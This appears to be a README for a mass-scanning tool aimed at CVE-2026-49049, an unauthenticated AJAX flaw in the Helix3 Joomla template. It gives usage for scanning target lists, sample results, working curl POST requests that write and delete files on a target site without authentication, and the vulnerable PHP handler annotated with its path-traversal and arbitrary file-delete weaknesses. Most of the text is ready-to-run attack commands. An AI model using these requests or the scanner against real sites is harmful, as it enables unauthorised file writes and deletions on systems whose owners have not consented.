CVE-2026-49049

git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

# Single target
python cve_2026_49049.py -t 192.168.1.100

# Mass scan
python cve_2026_49049.py -f targets.txt -o results.txt

# With JSON report + verbose
python cve_2026_49049.py -f targets.txt --json report.json -v

  -t, --target     Single target (domain or IP)
  -f, --file       File with targets, one per line
  -o, --output     Real-time text output (default: cve-2026-49049_scan.txt)
  --json           Structured JSON report (default: cve-2026-49049_report.json)
  --threads        Concurrent workers (default: 15)
  --timeout        HTTP timeout in seconds (default: 15)
  -v, --verbose    Show probe details

$ python cve_2026_49049.py -t 192.168.1.100 -v

    CVE-2026-49049 — Helix3 (JoomShaper)
    Joomla Unauthenticated AJAX Handler Scanner

    [*] save   — accessible (probe: 3a9719da)
    [*] remove — accessible (probe cleaned)

  Host      : 192.168.1.100
  Status    : vulnerable
  Helix3    : 2.5.6
  Vulnerable: YES
  save      : YES
  remove    : YES
  import    : NO
  Time      : 2.0s

curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# Look for <version>X.X.X</version>

curl -sk -X POST \
  'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

curl -sk -X POST \
  'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=remove&data[layoutName]=_test_probe.json'

curl -sk -X POST \
  'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=import&data[template_id]=1&data[settings]={}'

# Note: import was added in Helix3 v3.x.
# Sites running v2.x will return an empty response for this action.

public function onAjaxHelix3()
{
    $input = Factory::getApplication()->input;
    $data  = $input->post->get('data', [], 'array');
    $action = $data['action'];
    $layoutName = $data['layoutName'];

    // No auth check. No CSRF token. No path validation.
    $filepath = $layoutPath . $layoutName;   // path traversal possible

    switch ($action) {
        case 'remove':
            unlink($filepath);               // arbitrary file delete
            break;
        case 'save':
            fwrite(fopen($filepath . '.json', 'wb'), $data['content']);  // write
            break;
    }
}